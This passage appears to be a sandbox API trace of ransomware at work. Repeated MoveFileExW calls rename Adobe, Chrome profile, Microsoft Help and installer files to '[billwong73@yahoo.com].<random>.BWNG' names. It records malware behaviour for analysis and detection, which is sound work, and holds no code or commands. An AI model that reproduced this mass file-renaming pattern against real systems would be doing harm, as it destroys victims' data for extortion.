10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].kTG2C6fb-eevY2P7F.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].ktg2c6fb-eevy2p7f.bwng"), dwFlags=0x1) returned 1 [0120.361] GetTickCount () returned 0x1165afc [0120.361] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26231316166) returned 1 [0120.361] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\hun.fca" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\hun.fca"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].LIoNNIfN-JEm67rQP.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].lionnifn-jem67rqp.bwng"), dwFlags=0x1) returned 1 [0120.362] GetTickCount () returned 0x1165afc [0120.362] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26231456090) returned 1 [0120.363] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\lav135.lex" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\lav135.lex"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].O5e0tZya-OBxufMuZ.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].o5e0tzya-obxufmuz.bwng"), dwFlags=0x1) returned 1 [0120.364] GetTickCount () returned 0x1165afc [0120.364] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26231598613) returned 1 [0120.364] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\nrw38.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\nrw38.hsp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\[billwong73@yahoo.com].UMYxTZwW-4KMD1sEO.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\[billwong73@yahoo.com].umyxtzww-4kmd1seo.bwng"), dwFlags=0x1) returned 1 [0120.365] GetTickCount () returned 0x1165afc [0120.365] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26231755787) returned 1 [0120.366] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\11_All_Pictures.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\11_all_pictures.wpl"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\[billwong73@yahoo.com].t4rXe5D3-VGbfVXp8.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\00010c6e\\[billwong73@yahoo.com].t4rxe5d3-vgbfvxp8.bwng"), dwFlags=0x1) returned 1 [0120.367] GetTickCount () returned 0x1165afc [0120.367] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26231936336) returned 1 [0120.367] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Current Session" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\current session"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\[billwong73@yahoo.com].YJM3ikHP-cQGX9cfv.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\[billwong73@yahoo.com].yjm3ikhp-cqgx9cfv.bwng"), dwFlags=0x1) returned 1 [0120.368] GetTickCount () returned 0x1165afc [0120.368] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26232068318) returned 1 [0120.369] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\adberdrupd10110_mui.msp"), lpNewFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\[billwong73@yahoo.com].31D443zP-DSzP77Rq.BWNG" (normalized: "c:\\programdata\\adobe\\arm\\reader_10.0.0\\[billwong73@yahoo.com].31d443zp-dszp77rq.bwng"), dwFlags=0x1) returned 1 [0120.370] GetTickCount () returned 0x1165afc [0120.370] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26232192701) returned 1 [0120.370] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.MSACCESS.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.msaccess.dev.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\[billwong73@yahoo.com].cgOwX8Ji-y9Wa1afN.BWNG" (normalized: "c:\\programdata\\microsoft help\\[billwong73@yahoo.com].cgowx8ji-y9wa1afn.bwng"), dwFlags=0x1) returned 1 [0120.372] GetTickCount () returned 0x1165b0c [0120.372] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26232379476) returned 1 [0120.372] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.INFOPATH.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.infopath.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\[billwong73@yahoo.com].PQjTPhYB-MMjK6LYs.BWNG" (normalized: "c:\\programdata\\microsoft help\\[billwong73@yahoo.com].pqjtphyb-mmjk6lys.bwng"), dwFlags=0x1) returned 1 [0120.373] GetTickCount () returned 0x1165b0c [0120.373] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26232514984) returned 1 [0120.373] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.OUTLOOK.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.outlook.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\[billwong73@yahoo.com].r1dysFwS-cJDjWSGG.BWNG" (normalized: "c:\\programdata\\microsoft help\\[billwong73@yahoo.com].r1dysfws-cjdjwsgg.bwng"), dwFlags=0x1) returned 1 [0120.374] GetTickCount () returned 0x1165b0c [0120.374] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26232650779) returned 1 [0120.374] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winproj.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\[billwong73@yahoo.com].9Vr6HdNw-V6SbgaqC.BWNG" (normalized: "c:\\programdata\\microsoft help\\[billwong73@yahoo.com].9vr6hdnw-v6sbgaqc.bwng"), dwFlags=0x1) returned 1 [0120.534] GetTickCount () returned 0x1165ba8 [0120.534] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26248597084) returned 1 [0120.534] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\data_1" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\data_1"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\[billwong73@yahoo.com].2Lu10713-beywzhrS.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\[billwong73@yahoo.com].2lu10713-beywzhrs.bwng"), dwFlags=0x1) returned 1 [0120.536] GetTickCount () returned 0x1165ba8 [0120.536] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26248804099) returned 1 [0120.536] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\CURRENT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\current"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\[billwong73@yahoo.com].z6veO5Q0-ozh2NFPE.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension rules\\[billwong73@yahoo.com].z6veo5q0-ozh2nfpe.bwng"), dwFlags=0x1) returned 1 [0120.537] GetTickCount () returned 0x1165ba8 [0120.537] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26248959607) returned 1 [0120.538] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\manifest.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\[billwong73@yahoo.com].34zJxNHK-K126I1Dg.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\[billwong73@yahoo.com].34zjxnhk-k126i1dg.bwng"), dwFlags=0x1) returned 1 [0120.539] GetTickCount () returned 0x1165ba8 [0120.539] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26249114555) returned 1 [0120.539] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\[billwong73@yahoo.com].lv1laIHs-LjARPWrm.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\[billwong73@yahoo.com].lv1laihs-ljarpwrm.bwng"), dwFlags=0x1) returned 1 [0120.541] GetTickCount () returned 0x1165ba8 [0120.541] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26249297669) returned 1 [0120.541] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\[billwong73@yahoo.com].rCUi63Tg-BZh6Me2G.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\[billwong73@yahoo.com].rcui63tg-bzh6me2g.bwng"), dwFlags=0x1) returned 1 [0120.591] GetTickCount () returned 0x1165be6 [0120.591] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26254298371) returned 1 [0120.591] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\[billwong73@yahoo.com].BddUZKEh-rqxn43Tw.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_pt\\[billwong73@yahoo.com].bdduzkeh-rqxn43tw.bwng"), dwFlags=0x1) returned 1 [0120.592] GetTickCount () returned 0x1165be6 [0120.592] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26254466855) returned 1 [0120.593] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\[billwong73@yahoo.com].1Z3982Ui-y9lU5Gj8.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\[billwong73@yahoo.com].1z3982ui-y9lu5gj8.bwng"), dwFlags=0x1) returned 1 [0120.594] GetTickCount () returned 0x1165be6 [0120.594] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26254625904) returned 1 [0120.594] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\[billwong73@yahoo.com].B6uYMrDC-8CDN15Vz.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\[billwong73@yahoo.com].b6uymrdc-8cdn15vz.bwng"), dwFlags=0x1) returned 1 [0120.595] GetTickCount () returned 0x1165be6 [0120.596] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26254776008) returned 1 [0120.596] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\[billwong73@yahoo.com].ua8tZvbI-JLZwZ5sQ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\es_419\\[billwong73@yahoo.com].ua8tzvbi-jlzwz5sq.bwng"), dwFlags=0x1) returned 1 [0120.597] GetTickCount () returned 0x1165be6 [0120.597] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26254925932) returned 1 [0120.597] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\[billwong73@yahoo.com].NnKoUpAL-qkeJKqAa.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\[billwong73@yahoo.com].nnkoupal-qkejkqaa.bwng"), dwFlags=0x1) returned 1 [0120.603] GetTickCount () returned 0x1165be6 [0120.603] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26255501526) returned 1 [0120.603] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\[billwong73@yahoo.com].Bi8jJKrR-zrQJiDRh.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ro\\[billwong73@yahoo.com].bi8jjkrr-zrqjidrh.bwng"), dwFlags=0x1) returned 1 [0120.604] GetTickCount () returned 0x1165bf6 [0120.604] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26255672024) returned 1 [0120.605] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_cn\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\[billwong73@yahoo.com].xRssdeDU-fDh99Vmt.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_cn\\[billwong73@yahoo.com].xrssdedu-fdh99vmt.bwng"), dwFlags=0x1) returned 1 [0120.606] GetTickCount () returned 0x1165bf6 [0120.606] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26255824040) returned 1 [0120.606] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\[billwong73@yahoo.com].ntmRYn7H-IQ7wrHsQ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\da\\[billwong73@yahoo.com].ntmryn7h-iq7wrhsq.bwng"), dwFlags=0x1) returned 1 [0120.607] GetTickCount () returned 0x1165bf6 [0120.608] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26255975816) returned 1 [0120.608] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\[billwong73@yahoo.com].IQYQWRe7-82BI6I6k.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\fil\\[billwong73@yahoo.com].iqyqwre7-82bi6i6k.bwng"), dwFlags=0x1) returned 1 [0120.609] GetTickCount () returned 0x1165bf6 [0120.609] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26256160707) returned 1 [0120.610] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\[billwong73@yahoo.com].HEKB1ie6-TwweYYAc.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\[billwong73@yahoo.com].hekb1ie6-twweyyac.bwng"), dwFlags=0x1) returned 1 [0120.611] GetTickCount () returned 0x1165bf6 [0120.611] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26256305391) returned 1 [0120.611] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\[billwong73@yahoo.com].SBz0Uo7a-MEjxrTJm.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\sk\\[billwong73@yahoo.com].sbz0uo7a-mejxrtjm.bwng"), dwFlags=0x1) returned 1 [0120.614] GetTickCount () returned 0x1165bf6 [0120.614] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26256655161) returned 1 [0120.615] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\[billwong73@yahoo.com].Sfflt7jU-tVnUZ0v6.BWNG" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\[billwong73@yahoo.com].sfflt7ju-tvnuz0v6.bwng"), dwFlags=0x1) returned 1 [0120.616] GetTickCount () returned 0x1165bf6 [0120.616] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26256816204) returned 1 [0120.616] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), lpNewFileName="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\[billwong73@yahoo.com].g2bL3DFe-LOCn4p3z.BWNG" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\[billwong73@yahoo.com].g2bl3dfe-locn4p3z.bwng"), dwFlags=0x1) returned 1 [0120.618] GetTickCount () returned 0x1165bf6 [0120.618] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26256988807) returned 1 [0120.618] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\users\\5p5nrgjn0js 